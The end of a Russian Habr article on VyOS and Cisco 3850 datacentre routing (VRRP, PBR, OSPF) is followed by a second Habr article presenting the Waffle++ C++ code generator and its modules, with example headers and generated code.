ip route-cache policy
ip policy route-map VLAN17PBR
no shut
exit
wr mem
```
При определенной сноровке, за время выполнения этих трёх действий, пропадёт не более 10-15 пингов с хоста в сети VLAN 17, до шлюза по умолчанию 172.20.1.1, который теперь будет работать на Сisco 3850.
Ровно таким же способом переводим остальные адреса – 172.20.32.2, 172.20.34.2, 172.20.35.2 и 172.20.40.2 с Сisco 3850, на роутеры VyOS. В итоге, получаем обновлённую сетевую схему, в которой вся маршрутизация между внутренними сетями, происходит на специализированном устройстве – Сisco 3850. При этом, как мы видим, практически никаких глобальных изменений в сетевой схеме не произошло – кроме добавления Сisco 3850, на роутерах VyOS изменения делаются минимальные, на хостах и виртуальных машинах вообще ничего не надо делать. Сам переход на обновлённую сетевую схему внутренней маршрутизации, занимает пару-тройку минут, и самое главное, практически без простоя.
Одним из явных преимуществ именно такой схемы с интеграцией стека Сisco 3850 в сетевую инфраструктуру, является то, что при его фатальном отказе, можно всегда перевести внутреннюю маршрутизацию обратно на роутеры VyOS, всего лишь выполнив пару команд на них, как в этом примере для сети 172.20.1.0/24 или VLAN 17:
**Настройка VyOS1/2**
```
configure
delete high-availability vrrp group haip-1 virtual-address '172.20.1.2/24'
set high-availability vrrp group haip-1 virtual-address '172.20.1.1/24'
commit
```
В результате, адреса шлюзов по умолчанию переносятся обратно на роутеры VyOS, внутренние сети в датацентре продолжают работать, а мы спокойно и не спеша разбираемся с отказом Сisco 3850.
### Заключение
Цикл из четырёх статей по созданию отказоустойчивой ИТ инфраструктуры небольшого датацентра, практически закончен – нам удалось соединить все элементы в одно целое и получить желаемое, не используя при этом какое-либо коммерческое ПО. Все затраты пришлись только на приобретение оборудования и лицензий на его поддержку. Конечно, коммерческое ПО может быть в чём-то удобнее, функциональней, красивее и быстрее, и главное, иметь при этом поддержку, но тут уже всё зависит от бюджета, выделяемого на проект и требований заказчика.
Например, для этого проекта можно было бы приобрести 4 лицензии (на процессор) для [Vmware vSphere Enterprise Plus](https://www.vmware.com/products/vsphere.html), одну лицензию [Vcenter Server Standard](https://www.vmware.com/products/vsphere.html), и 4 лицензии (на процессор) для резервного копирования и репликации виртуальной инфраструктуры – [Veeam B&R Enterprise](https://www.veeam.com/vm-backup-recovery-replication-software.html). В связке с оборудованием, у нас получилась бы весьма неплохая, функциональная, гибкая и надёжная платформа виртуализации, но при этом дополнительные затраты без учёта стоимости оборудования, составили бы примерно 44.000 USD за VMware и 10.000 USD за Veeam (цены указаны вместе со стоимостью стандартной годовой поддержки).
Здесь необходимо отметить, что почти за те же самые деньги можно купить вторую СХД с парой серверов, и развернуть их, например, во втором датацентре и получить таким образом уже катастрофоустойчивость нашего решения (не вдаваясь в детали, что для этого ещё может потребоваться).
Безусловно, у каждого может быть своё видение, как проектировать и строить отказоустойчивую IT инфраструктуру для предприятий небольшого размера – в цикле статей был показан лишь один из подходов к этому вопросу, поэтому не надо судить строго. Необходимо лишь отметить, что очень важно совместить желания и возможности, чтобы заказчик мог получить надёжную платформу, с которой можно работать в дальнейшем.
Что касается дальнейшей судьбы проекта по созданию отказоустойчивой IT инфраструктуры, в части относящейся к кластеру oVirt, то у нас имеется как минимум два варианта по организации работы с ним:
* классический – это когда администратор по заявке выделяет требуемые ресурсы на кластере виртуализации, создаёт виртуальные машины, устанавливает на них системное ПО и производит их настройки в соответствии с определёнными требованиями;
* применение к проекту практик **[DevOps](https://en.wikipedia.org/wiki/DevOps)**, относящихся к **IaaС** ([Infrastructure as a Code](https://en.wikipedia.org/wiki/Infrastructure_as_code)) – это описание с помощью кода требуемой инфраструктуры, в виде автоматического создания ВМ для БД, узлов для Docker Swarm, веб-серверов, серверов для хранения логов, аналитики и т.п., с последующей их автоматической настройкой и предоставлением ресурсов для команды.
В реальной эксплуатации оба варианта могут конечно же использоваться как вместе, так и по отдельности, но второй вариант является более предпочтительным, так как отвечает современным запросам по организации совместной работы внутри команды и организации поставки цифровых продуктов компании для конечного пользователя. **IaaС** может и должна применяться в постоянно меняющихся условиях, для оптимизации и ускорения путей доставки цифровых продуктов, с целью увеличения прибыли компании.
oVirt/RHEV в полной мере поддерживает **IaaС**, для чего имеется соответствующий [провайдер для Terraform](https://github.com/oVirt/terraform-provider-ovirt), а также [модуль для Ansible](https://docs.ansible.com/ansible/latest/modules/ovirt_vm_module.html).
Если есть необходимость развёртывания ОС с нуля из установочного образа, например, для его дальнейшего использования в **Terraform** или **Ansible**, то можно использовать **[Cobbler](https://cobbler.github.io/)**, для автоматизации установки ОС по сети.
В дальнейшем планируется появление небольших дополнений к статьям о создании отказоустойчивой IT инфраструктуры, связанных, например, с внедрением мониторинга каких-то элементов инфраструктуры, или организацией их резервного копирования и т.п.
Помимо этого, возможно, будет выпущен новый цикл статей с уклоном в сторону **DevOps**, в части касающейся **IaaС**, где в качестве базовой платформы будет использоваться отказоустойчивый кластер oVirt и/или VMware vSphere.
**P.S.**
Если имеются какие-то замечания, предложения или уточнения по статьям, то добро пожаловать в комментарии.
**Примечание**
Исходя из обсуждений в комментариях, для тех, кто не хочет / не может использовать PBR на Cisco 3850 для роутинга внутренних сетей наружу (т.н. **source-based** маршрутизацию), предлагается использовать "классический" вариант настройки роутинга, на основе **destination-based** маршрутизации.
Про этот вариант в статье уже упоминалось, но без особых подробностей, и если его будете настраивать, то нужно иметь в виду следующее:
* для его реализации придётся перенастраивать схему работы VyOS с внутренними сетями;
* полный отказ стека Cisco 3850 отразится гораздо больнее на работе сети, чем если бы использовался PBR.
### Организация маршрутизации между внутренними и внешними сетями с использованием OSPF
**Схема межсетевого взаимодействия**[](https://habrastorage.org/webt/fm/0j/z7/fm0jz7e8iy8fnkrpoyyelbvzk4w.jpeg)
Настройка Cisco 3850
Справочная информация – [Chapter: Configuring IP Unicast Routing](https://www.cisco.com/c/en/us/td/docs/switches/lan/catalyst3850/software/release/16-6/configuration_guide/b_166_rtng_3850_cg/b_166_rtng_3850_cg_chapter_010.html#ID1849)
Если ранее были сделаны настройки для работы коммутатора с PBR, то:
* удаляем привязку route-map'ов с интерфейсов: **VLAN17**, **VLAN32**, **VLAN34**, **VLAN35**, **VLAN40**
* удаляем route-map'ы: **VLAN17PBR**, **VLAN32PBR**, **VLAN34PBR**, **VLAN35PBR**, **VLAN40PBR**
* удаляем access-list **Access\_to\_External**
* для взаимодействия с роутерами VyOS по протоколу OSPF, настраиваем новый интерфейс **VLAN33**, чтобы обеспечить связь внутренних сетей с внешними.
**Конфигурация Cisco 3850**
```
interface Vlan33
ip address 172.20.133.1 255.255.255.0
ip ospf dead-interval 4
ip ospf hello-interval 1
ip ospf priority 100
interface Loopback0
ip address 10.1.1.3 255.255.255.255
router ospf 1
router-id 10.1.1.3
network 10.1.1.3 255.255.255.255 area 0.0.0.0
network 172.20.133.0 0.0.0.255 area 0.0.0.0
network 172.20.1.0 0.0.0.255 area 0.0.0.0
network 172.20.32.0 0.0.1.255 area 0.0.0.0
network 172.20.34.0 0.0.0.255 area 0.0.0.0
network 172.20.35.0 0.0.0.255 area 0.0.0.0
network 172.20.40.0 0.0.1.255 area 0.0.0.0
log-adjacency-changes
passive-interface default
no passive-interface Vlan33
```
Настройка маршрутизаторов VyOS
Справочная информация — [Настройка OSPF на VyOS](https://vyos.readthedocs.io/en/latest/routing/ospf.html)
Если на роутерах ранее были сделаны настройки для работы с Cisco 3850 на котором был настроен PBR, то:
* удаляем настройку vrrp для всех интерфейсов;
* удаляем балансировку нагрузки для выхода в Интернет, с сетевых интерфейсов **VLAN32**, **VLAN34**, **VLAN35**, **VLAN40**;
* удаляем адреса с интерфейсов: **VLAN17**, **VLAN32**, **VLAN34**, **VLAN35**, **VLAN40**;
* отключаем эти интерфейсы в настройках виртуальной машины через административный портал oVirt;
* для взаимодействия с Cisco 3850 по протоколу OSPF, настраиваем интерфейс **eth0**, подключенный к сети с идентификатором **VLAN33**, чтобы обеспечить связь внутренних сетей с внешними.
**Настройка VyOS1**
```
set interfaces loopback lo address '10.1.1.1/32'
set interfaces ethernet eth0 address '172.20.133.253/24'
set interfaces ethernet eth0 description 'VLAN33'
set interfaces ethernet eth0 ip ospf dead-interval '4'
set interfaces ethernet eth0 ip ospf hello-interval '1'
set interfaces ethernet eth0 ip ospf priority '1'
set interfaces ethernet eth0 ip ospf retransmit-interval '5'
set interfaces ethernet eth0 ip ospf transmit-delay '1'
set protocols ospf area 0.0.0.0 network '172.20.133.0/24'
set protocols ospf area 0.0.0.0 network '10.1.1.1/32'
set protocols ospf default-information originate metric '10'
set protocols ospf default-information originate metric-type '2'
set protocols ospf log-adjacency-changes
set protocols ospf neighbor 172.20.133.1 poll-interval '5'
set protocols ospf neighbor 172.20.133.1 priority '1'
set protocols ospf parameters abr-type 'cisco'
set protocols ospf parameters router-id '10.1.1.1'
set protocols ospf passive-interface 'default'
set protocols ospf passive-interface-exclude 'eth0'
set protocols ospf redistribute static metric '5'
set protocols ospf redistribute static metric-type '2'
```
**Настройка VyOS2**
```
set interfaces loopback lo address '10.1.1.2/32'
set interfaces ethernet eth0 address '172.20.133.254/24'
set interfaces ethernet eth0 description 'VLAN33'
set interfaces ethernet eth0 ip ospf dead-interval '4'
set interfaces ethernet eth0 ip ospf hello-interval '1'
set interfaces ethernet eth0 ip ospf priority '1'
set interfaces ethernet eth0 ip ospf retransmit-interval '5'
set interfaces ethernet eth0 ip ospf transmit-delay '1'
set protocols ospf area 0.0.0.0 network '172.20.133.0/24'
set protocols ospf area 0.0.0.0 network '10.1.1.2/32'
set protocols ospf default-information originate metric '20'
set protocols ospf default-information originate metric-type '2'
set protocols ospf log-adjacency-changes
set protocols ospf neighbor 172.20.133.1 poll-interval '5'
set protocols ospf neighbor 172.20.133.1 priority '1'
set protocols ospf parameters abr-type 'cisco'
set protocols ospf parameters router-id '10.1.1.2'
set protocols ospf passive-interface 'default'
set protocols ospf passive-interface-exclude 'eth0'
set protocols ospf redistribute static metric '10'
set protocols ospf redistribute static metric-type '1'
```
Для проверки результатов работы протокола OSPF, можно использовать эти команды:
```
sh ip ospf interface
sh ip ospf neighbor
show ip ospf
show ip route
show ip route ospf
``` | https://habr.com/ru/post/489342/ | null | ru | null |
# Кодогенератор Waffle++ для C++
Список пасхалок: https://clck.ru/33J7ckКодогенератор это программа, которая на основе исходного кода или какого-нибудь файла настроек генерирует вспомогательный код, который потом компилируется вместе с исходным кодом. Это нужно, чтобы не писать [boilerplate](https://en.wikipedia.org/wiki/Boilerplate_code)-код (копипаст) и получить новые возможности языка.
Я делаю расширяемый кодогенератор для C++, в котором можно реализовать много полезного. Примеры модулей: перевод значений enum в строку и обратно, перевод структуры в JSON и обратно, декларативный веб-сервер, система слотов и сигналов, свой динамический полиморфизм, генератор кода для тестов...
В этом обзоре будет showcase, сравнение с другими кодогенераторами, описание работы модулей, как сделать свой модуль, и как подключить кодогенератор в свои проекты.
Почему Waffle++?
----------------
Вафли (особенно [бельгийские](https://www.google.com/search?q=belgian+waffle&tbm=isch)) это настоящий boilerplate. Вафельница выпускает одни и те же изделия с минимальной разницей, как и программист пишет boilerplate-код с минимальными изменениями. Поэтому у кодогенератора такое название.
Также `waffle++` это достаточно уникальное имя, которое не занято каким-то другим известным проектом, в отличие от огромной кучи проектов с названием просто `waffle` - [поиск по гитхабу](https://github.com/search?q=waffle&type=repositories&p=1).
Enum в строку и обратно
-----------------------
Есть множество маркеров, которые могут указывать кодогенератору, что именно нужно генерировать. Чаще всего за неимением лучших альтернатив это макросы, как будет показано в разделе с обзором других кодогенераторов.
Waffle++ читает особо отформатированные комментарии, чтобы сгенерировать код. Читаются комментарии формата [Doxygen](https://en.wikipedia.org/wiki/Doxygen) - это формат тулзы, которая используется для генерации HTML-страниц документации. Waffle++ читает свои "команды" по аналогии с [существующими "командами"](https://www.doxygen.nl/manual/commands.html) Doxygen.
Для перевода enum в строку и обратно нужно подключить статический header, где объявлены функции:
```
#pragma once
#include
#include
namespace Waffle {
template
EnumType FromString(std::string\_view value);
template
EnumType FromStringOrDefault(std::string\_view value, EnumType defaultResult);
template
std::string\_view ToString(EnumType value);
template
std::span GetAllEnumValues();
} // namespace Waffle
```
Если есть обычный `enum class Color`, то без кодогенератора использование данных функций с этим типом упадет во время линковки, потому что компилятор не найдет определение шаблонной функции с нужным шаблонным параметром. Нужно пометить enum командой `serializable`, чтобы Waffle++ "увидел" его:
```
// @serializable
enum class Color {
Red,
Green,
Blue,
Cyan,
Magenta,
Yellow,
Black
};
```
Пусть этот enum находится в файле `foo.h`, тогда Waffle++ сгенерирует `foo.enum_serializer.cpp` с определениями шаблонных функций, и этот файл просто нужно будет указать в вашей системе сборки.
По умолчанию названия переводятся один к одному, то есть вызов `Waffle::ToString(Color::Red)` вернет строку `"Red"`.
Но через команду `stringvalue` можно указать любую другую строку, или даже несколько строк ("каноничной" будет считаться первая в списке):
```
/*
* @brief Represents the color of a book
* @author Izaron
* @serializable
*/
enum class BookColor {
kRed, ///< @stringvalue red rot rouge
kGreen, ///< @stringvalue green grün vert
kBlue, ///< @stringvalue blue blau bleu
};
```
В примере выше команды, которые читает Doxygen (`brief`, `author`) перемешаны с командами Waffle++ (`serializable`, `stringvalue` ).
Вызов`ToString(BookColor::kRed)` вернет `"red"`. Вызовы `FromString(XXX)` вернут `BookColor::kRed` для `XXX` равному `"red"`, `"rot"` или `"rouge"`.
Можно посмотреть исходные enum: [misc\_enum\_places.h](https://github.com/Izaron/WafflePlusPlus/blob/ae01a54e306f0b20699bb002f46048f5857a6568/src/modules/enum_serializer/test/misc_enum_places/misc_enum_places.h), [custom\_names.h](https://github.com/Izaron/WafflePlusPlus/blob/ae01a54e306f0b20699bb002f46048f5857a6568/src/modules/enum_serializer/test/custom_names/custom_names.h).
Кодогенерация: [misc\_enum\_places.enum\_serializer.cpp](https://github.com/Izaron/WafflePlusPlus/blob/ae01a54e306f0b20699bb002f46048f5857a6568/src/modules/enum_serializer/test/misc_enum_places/misc_enum_places.enum_serializer.cpp), [custom\_names.enum\_serializer.cpp](https://github.com/Izaron/WafflePlusPlus/blob/ae01a54e306f0b20699bb002f46048f5857a6568/src/modules/enum_serializer/test/custom_names/custom_names.enum_serializer.cpp).
Тест с примерами: [test.cpp](https://github.com/Izaron/WafflePlusPlus/blob/ae01a54e306f0b20699bb002f46048f5857a6568/src/modules/enum_serializer/test/test.cpp).
Структура в JSON и обратно
--------------------------
Для этого модуля тоже нужно подключить статический header с двумя функциями:
```
#pragma once
#include
namespace Waffle {
template
nlohmann::json ToJson(const T& value);
template
T FromJson(const nlohmann::json& value);
} // namespace Waffle
```
[nlohmann/json](https://github.com/nlohmann/json) это header-only библиотека для работы с Json в C++, чтобы не делать свои велосипеды с представлением Json.
Структуры, для которых нужны определения этих функций, надо помечать `jsonable`. По умолчанию в Json-представлении имена полей будут такими же, как у структуры, но этим также можно управлять через `stringvalue`. Файл `books_library.h`:
```
#include
#include
#include
namespace model {
struct Book {
std::string Name; // @stringvalue name
std::string Author; // @stringvalue author
int Year; // @stringvalue year
};
struct LatLon {
double Lat; // @stringvalue lat
double Lon; // @stringvalue lon
};
// @jsonable
struct Library {
std::vector Books; // @stringvalue books
std::optional Description; // @stringvalue description
LatLon Address; // @stringvalue address
};
} // namespace model
```
`std::vector` и подобные контейнеры в Json-представлении преобразуются в array. `std::optional` преобразуется в `null`, если он пустой. Метка `jsonable` транзитивно передается на другие структуры, если есть возможность (в примере выше `Book` и `LatLon` неявно помечены `jsonable`).
Кодогенерация такая: [books\_library.json\_dump.cpp](https://github.com/Izaron/WafflePlusPlus/blob/ae01a54e306f0b20699bb002f46048f5857a6568/src/modules/json_dump/test/books_library/books_library.json_dump.cpp).
В тесте можно посмотреть, как Json и объекты переводятся друг в друга: [test.cpp](https://github.com/Izaron/WafflePlusPlus/blob/ae01a54e306f0b20699bb002f46048f5857a6568/src/modules/json_dump/test/test.cpp).
Генератор дата-классов
----------------------
Идея data-классов позаимствована из Java-библиотеки [Lombok](https://projectlombok.org/features/Data). В Java очень популярна кодогенерация с кучей идей. В данном случае для класса генерируются геттеры, сеттеры и другие методы.
В Waffle++ для этого есть команда `dataclass`. В файле `mountain.h`:
```
#include
#include
namespace model {
// @dataclass LatLon
struct LatLonStub {
double latitude;
double longitude;
};
// @dataclass Mountain
struct MountainStub {
std::optional name;
std::string country; // @getteronly
LatLonStub position;
double peak;
};
} // namespace model
```
Здесь заводятся "мусорные" (неиспользуемые) структуры, а в параметре команды указывается название сгенерированного класса. Для некоторых полей можно определить, что там должны быть доступны только геттеры (то есть эти поля будет нельзя изменить).
Кодогенерация (внимание, не `.cpp`-файл, а `.h`-файл!): [mountains.data\_class.h](https://github.com/Izaron/WafflePlusPlus/blob/ae01a54e306f0b20699bb002f46048f5857a6568/src/modules/data_class/test/mountains/mountains.data_class.h).
Как видно из кодогенерации, для "больших" типов данных есть два сеттера - по const-ссылке и rvalue-ссылке:
```
void SetName(std::optional&& name) {
name\_ = std::move(name);
}
void SetName(const std::optional& name) {
name\_ = name;
}
const std::optional& GetName() const {
return name\_;
}
```
Для "маленьких" используется обычное копирование:
```
void SetPeak(double peak) {
peak_ = peak;
}
double GetPeak() const {
return peak_;
}
```
Тест: [test.cpp](https://github.com/Izaron/WafflePlusPlus/blob/ae01a54e306f0b20699bb002f46048f5857a6568/src/modules/data_class/test/test.cpp).
Мок-классы для GoogleMock
-------------------------
GoogleMock это библиотека для тестирования с использованием "моков" - объектов, которые имитируют поведение внешних сервисов. Лучше почитать [документацию](https://google.github.io/googletest/gmock_for_dummies.html), там много информации.
Проблемы возникают во время рефакторинга класса или просто добавления метода. В силу особенностей C++, GoogleMock требует скопипастить определение каждого виртуального метода, иначе код теста не скомпилируется. Таким образом, тратится лишнее время на правку моков в тестах.
В файле `turtle.h` скопирован класс из документации GoogleMock:
```
namespace model {
// @gmock
class Turtle {
public:
virtual ~Turtle() = default;
virtual void PenUp() = 0;
virtual void PenDown() = 0;
virtual void Forward(int distance) = 0;
virtual void Turn(int degrees) = 0;
virtual void GoTo(int x, int y) = 0;
virtual int GetX() const = 0;
virtual int GetY() const = 0;
};
} // namespace model
```
Waffle++ сгенерирует файл `turtle.gmock.h` с мок-классом, который обычно пишут вручную:
```
// Generated by the Waffle++ code generator. DO NOT EDIT!
// source: turtle.h
#include
#include "turtle.h"
namespace Waffle {
class MockTurtle : public model::Turtle {
public:
MOCK\_METHOD(void, PenUp, (), (override));
MOCK\_METHOD(void, PenDown, (), (override));
MOCK\_METHOD(void, Forward, (int distance), (override));
MOCK\_METHOD(void, Turn, (int degrees), (override));
MOCK\_METHOD(void, GoTo, (int x, int y), (override));
MOCK\_METHOD(int, GetX, (), (const, override));
MOCK\_METHOD(int, GetY, (), (const, override));
};
} // namespace Waffle
```
Waffle++ устроен так, что при изменении исходного файла (то есть `turtle.h`) зависимый файл (то есть `turtle.gmock.h`) перегенерируется на этапе компиляции, не нужно будет даже запускать какие-то дополнительные команды. Позже будет описание работы с системой сборки, которые позволяют такие фокусы.
Декларативный веб-сервер
------------------------
Сейчас начинаются тяжелые примеры. В движке [Java Spring](https://spring.io/), который является *de facto* стандартом индустрии, есть кодогенерация вплоть до веб-сервера с минимумом кода. В "аннотациях" описываются обработчики HTTP-запросов, выглядит все максимально человекочитаемо:
Пример для Java, Spring Framework
```
@RestController
class EmployeeController {
private final EmployeeRepository repository;
EmployeeController(EmployeeRepository repository) {
this.repository = repository;
}
@GetMapping("/employees")
List all() {
return repository.findAll();
}
@PostMapping("/employees")
Employee newEmployee(@RequestBody Employee newEmployee) {
return repository.save(newEmployee);
}
@GetMapping("/employees/{id}")
Employee one(@PathVariable Long id) {
return repository.findById(id)
.orElseThrow(() -> new EmployeeNotFoundException(id));
}
@DeleteMapping("/employees/{id}")
void deleteEmployee(@PathVariable Long id) {
repository.deleteById(id);
}
}
```
При GET-запросе на `http://myserver.com/employees/123` вызовется метод `one(123)`, и в ответе на запрос вернут json-представление объекта `Employee`.
В нашем примере этот модуль нужно совместить с модулем `json_dump`, который описывался ранее:
Пример для C++, Waffle++Файл `employee.h`:
```
#include
#include
#include
namespace model {
// @jsonable
struct Employee {
size\_t Id; // @stringvalue id
std::string Name; // @stringvalue name
double Salary; // @stringvalue salary
};
class IEmployeeRepository {
public:
virtual void Add(Employee employee) = 0;
virtual std::optional FindById(size\_t id) = 0;
virtual std::vector FindBySalaryRange(double lowerBound, double upperBound) = 0;
virtual std::vector FindAll() = 0;
virtual void DeleteById(size\_t id) = 0;
};
// @restcontroller
class EmployeeController {
public:
EmployeeController(std::shared\_ptr repository)
: repository\_{std::move(repository)}
{}
/\*
\* @brief Add a new employee
\* @postmapping /employees
\* @requestbody employee
\*/
void Add(Employee employee) {
repository\_->Add(std::move(employee));
}
/\*
\* @brief Get the employee with given ID
\* @getmapping /employees/{id}
\* @pathvariable id
\*/
std::optional FindById(size\_t id) {
return repository\_->FindById(id);
}
/\*
\* @brief Get all employers with salary in given range
\* @getmapping /employees/find?lowerBound={lowerBound}&upperBound={upperBound}
\* @pathvariable lowerBound
\* @pathvariable upperBound
\*/
std::vector FindBySalaryRange(double lowerBound, double upperBound) {
return repository\_->FindBySalaryRange(lowerBound, upperBound);
}
/\*
\* @brief Get all employees
\* @getmapping /employees
\*/
std::vector FindAll() {
return repository\_->FindAll();
}
/\*
\* @brief Delete the employee with given ID
\* @deletemapping /employees/{id}
\* @pathvariable id
\*/
void DeleteById(size\_t id) {
repository\_->DeleteById(id);
}
private:
std::shared\_ptr repository\_;
};
} // namespace model
```
В этом модуле есть команды `restcontroller` (класс-обработчик, для которого сгенерировать код) `getmapping/postmapping/deletemapping` (соответствующие методы HTTP-запроса), `pathvariable` (в переменную подставляется кусок пути), `requestbody` (в переменную подставляется body HTTP-запроса).
Пользователь подключает статический header с методами, которые переведут запрос в понятный обработчику и вызовет нужный метод контроллера:
```
#pragma once
#include
#include
namespace Waffle {
struct HttpRequest {
std::string Method;
std::string Path;
std::string Body;
};
struct HttpResponse {
int StatusCode;
std::string Body;
};
template
[[nodiscard]] HttpResponse ProcessRequest(Handler& handler, const HttpRequest& httpRequest);
} // namespace Waffle
```
Кодогенератор сгенерирует два файла: [employee.json\_dump.cpp](https://github.com/Izaron/WafflePlusPlus/blob/ae01a54e306f0b20699bb002f46048f5857a6568/src/modules/rest_controller/test/employee/employee.json_dump.cpp) и [employee.rest\_controller.cpp](https://github.com/Izaron/WafflePlusPlus/blob/ae01a54e306f0b20699bb002f46048f5857a6568/src/modules/rest_controller/test/employee/employee.rest_controller.cpp).
В большом тесте проверяется корректность обработчика HTTP-запросов: [test.cpp](https://github.com/Izaron/WafflePlusPlus/blob/ae01a54e306f0b20699bb002f46048f5857a6568/src/modules/rest_controller/test/test.cpp).
Свой динамический полиморфизм
-----------------------------
Я несколько раз пробовал сделать полиморфизм в C++ "в стиле Go".
[Интерфейсы в Go](https://habr.com/ru/company/vk/blog/463063/) работают так, что они позволяют писать один и тот же код для разных классов, которые вообще никак не связаны в родственном плане (т.е. они не "наследуются друг от друга" и т.д., в Go этого нет). В C++ есть шаблоны, но это просто заготовки кода, а не что-то нормальное.
Несколько моих подходов закончились чем-то вроде [kelbon/AnyAny](https://github.com/kelbon/AnyAny) - ограничения C++ не позволяют отойти от реализации, похожей на эту библиотеку.
С кодогенерацией это стало намного гибче! Пример `structs.h` с интерфейсами:
```
#include
namespace model {
// @polymorphic
struct Robot {
void Forward(double distance);
void Turn(double degrees);
void GoTo(double x, double y);
double GetX() const;
double GetY() const;
};
// @polymorphic
struct Stringer {
std::string String() const;
};
} // namespace model
```
Кодогенератор сделает файл [structs.poly\_ptr.h](https://github.com/Izaron/WafflePlusPlus/blob/ae01a54e306f0b20699bb002f46048f5857a6568/src/modules/poly_ptr/test/structs/structs.poly_ptr.h) с несколькими классами (для `T = Robot` и `T = Stringer`):
* `poly_obj` - объект-враппер, который содержит *что-то*, что имеет такие же методы, как интерфейс. Это достигается за счет type erasure, как в [std::function](https://t.me/cxx95/75). Объект-враппер аллоцирует память в куче и управляет жизнью содержимого объекта.
* `poly_ref` - ссылка на *что-то*, что имеет такие же методы, как интерфейс. Быстр почти как `void*`, не управляет жизнью содержимого объекта.
* `poly_ptr` - то же самое, что `poly_ref`, но может быть пустым (не указывать на объект).
* `const_poly_ref` и `const_poly_ptr` - то же самое, что два класса выше, но доступны только константные методы интерфейса.
В тестах проверяется поведение класса, который удовлетворяет обоим интерфейсам:
```
class TestRobot {
public:
void Forward(double distance) { /* ... */ }
void Turn(double degrees) { /* ... */ }
void GoTo(double x, double y) { /* ... */ }
double GetX() const { /* ... */ };
double GetY() const { /* ... */ };
std::string String() const { /* ... */ }
/* ... */
};
```
Тесты: [poly\_obj\_test.cpp](https://github.com/Izaron/WafflePlusPlus/blob/ae01a54e306f0b20699bb002f46048f5857a6568/src/modules/poly_ptr/test/poly_obj_test.cpp), [poly\_ref\_test.cpp](https://github.com/Izaron/WafflePlusPlus/blob/ae01a54e306f0b20699bb002f46048f5857a6568/src/modules/poly_ptr/test/poly_ref_test.cpp), [poly\_ptr\_test.cpp](https://github.com/Izaron/WafflePlusPlus/blob/ae01a54e306f0b20699bb002f46048f5857a6568/src/modules/poly_ptr/test/poly_ptr_test.cpp).
Система сигналов и слотов
-------------------------
Сигналы и слоты используются для коммуникации между объектами. Наверное, самая популярная реализация этого паттерна реализована в Qt ([документация](https://doc.qt.io/qt-6/signalsandslots.html) с примерами).
У Qt в документации есть хорошее объяснение концепции, я приведу краткий пересказ:
Некоторые методы классов являются "сигналами", некоторые "слотами". "Сигналы" это методы без определения, а "слоты" это обычные методы. На один "сигнал" можно навесить сколько угодно "слотов", лишь бы сигнатуры методов совпадали. Вызов метода-"сигнала" вызовет все связанные "слоты" у соответствующих объектов. Кодогенератор должен сгенерировать "рантайм" для поддержки всей схемы, а также реализацию методов-"сигналов".
Пользователь подключает статический header:
```
#pragma once
namespace Waffle {
class SignalBase {
public:
virtual ~SignalBase();
};
namespace Impl {
/* ... */
} // namespace Impl
template
void Connect(const SignalBase\* sender, void(SenderType::\*signal)(Args...),
const SignalBase\* receiver, void(ReceiverType::\*slot)(Args...))
{
/\* ... \*/
}
} // namespace Waffle
```
Каждый объект, у которого есть метод-"сигнал" или "слот", должен наследоваться от `SignalBase`. В его деструкторе происходит "разрегистрация" объекта, чтобы никто не вызвал метод-"слот" у уже уничтоженного объекта.
Реализация класса в `counter.h`, почти такая же как в документации Qt:
```
#include
#include
namespace model {
class Counter : public Waffle::SignalBase {
public:
Counter();
int Value() const;
// @slot
void SetValue(int value);
// @signal
void ValueChanged(int newValue);
private:
int Value\_;
};
} // namespace model
```
В `counter.cpp` определяется только метод-"слот":
```
#include "counter.h"
namespace model {
Counter::Counter()
: Value_{0}
{
}
int Counter::Value() const {
return Value_;
}
void Counter::SetValue(int value) {
if (value != Value_) {
Value_ = value;
ValueChanged(value);
}
}
} // namespace model
```
Кодогенератор сгенерирует [counter.signals.cpp](https://github.com/Izaron/WafflePlusPlus/blob/ae01a54e306f0b20699bb002f46048f5857a6568/src/modules/signals/test/counter/counter.signals.cpp) с "рантаймом". Хотя лучше было бы сделать рантайм в виде отдельной библиотеки. Но все модули, которые я описываю, можно улучшать до пригодности к использованию.
Тест связывает сигнал со слотом и проверяет, что связь работает (тоже как в документации Qt):
```
#include
#include "counter/counter.h"
TEST(Signals, Smoke) {
model::Counter a, b;
Waffle::Connect(&a, &model::Counter::ValueChanged,
&b, &model::Counter::SetValue);
a.SetValue(12);
ASSERT\_EQ(a.Value(), 12);
ASSERT\_EQ(b.Value(), 12);
b.SetValue(48);
ASSERT\_EQ(a.Value(), 12);
ASSERT\_EQ(b.Value(), 48);
}
```
Аналогичные проекты
-------------------
В списке библиотек [awesome-cpp](https://github.com/fffaraz/awesome-cpp) нет раздела для кодогенераторов. Кодогенерация тесно связана с рефлексией, поэтому можно посмотреть на библиотеки из [списка Reflection](https://github.com/fffaraz/awesome-cpp#reflection). Их объединяют общие черты:
* Малая область действия, например всего лишь перевод из enum в строку и обратно.
* Магические макросы, в которых все равно надо вручную перечислять все поля и значения.
* В некоторых случаях - попытка дать пользователю "полную рефлексию", что вряд ли в принципе реализуемо. Например, в Clang для описания разных сущностей C++ используются сотни классов. [Пример 1](https://clang.llvm.org/doxygen/classclang_1_1ClassTemplatePartialSpecializationDecl.html), [пример 2](https://clang.llvm.org/doxygen/classclang_1_1Decl.html).
В целом про рефлексию можно почитать [в одной из моих прошлых статей](https://habr.com/ru/post/598981/), если нравятся сложные темы языка.
У меня нет большого опыта в Qt, но выглядит, что на Waffle++ похож его [Meta-Object Compiler](https://doc.qt.io/qt-6/moc.html) - там по похожему принципу генерируются `.cpp`-файлы (на основе магических макросов).
Хороший пример кодогенерации на основе своего DSL есть у [protobuf](https://protobuf.dev/).
Некоторые проприетарные IDE имеют возможность что-то сгенерировать в коде проекта - [пример с google mock](https://www.jetbrains.com/help/rider/Code_Generation_in_CPP.html#gmock).
Устройство кодогенератора: Общее
--------------------------------
Исходники проекта находятся на GitHub: [Izaron/WafflePlusPlus](https://github.com/Izaron/WafflePlusPlus/). Посмотрим на структуру директории `src/`:
* `bin/` - создание бинарника кодогенератора `wafflec` со всеми модулями.
* `cmake_scripts/` - набор функций CMake, чтобы было удобнее управлять кодогенерацией.
* `include/waffle/modules/` - статические header-ы, которых нужно подключать пользователям определенных модулей.
* `lib/` - общие библиотеки кодогенератора.
* `modules/` - реализация модулей.
* `thirdparty/include/` - header-only библиотеки, используемые кодогенератором.
Посмотрим на зависимости. Проект зависит от внешних библиотек:
* [GoogleTest](https://github.com/google/googletest) - для тестирования.
* [LibClang](https://github.com/llvm/llvm-project) - для чтения исходников C++.
* [pantor/inja](https://github.com/pantor/inja) - шаблонизатор (header-only библиотека).
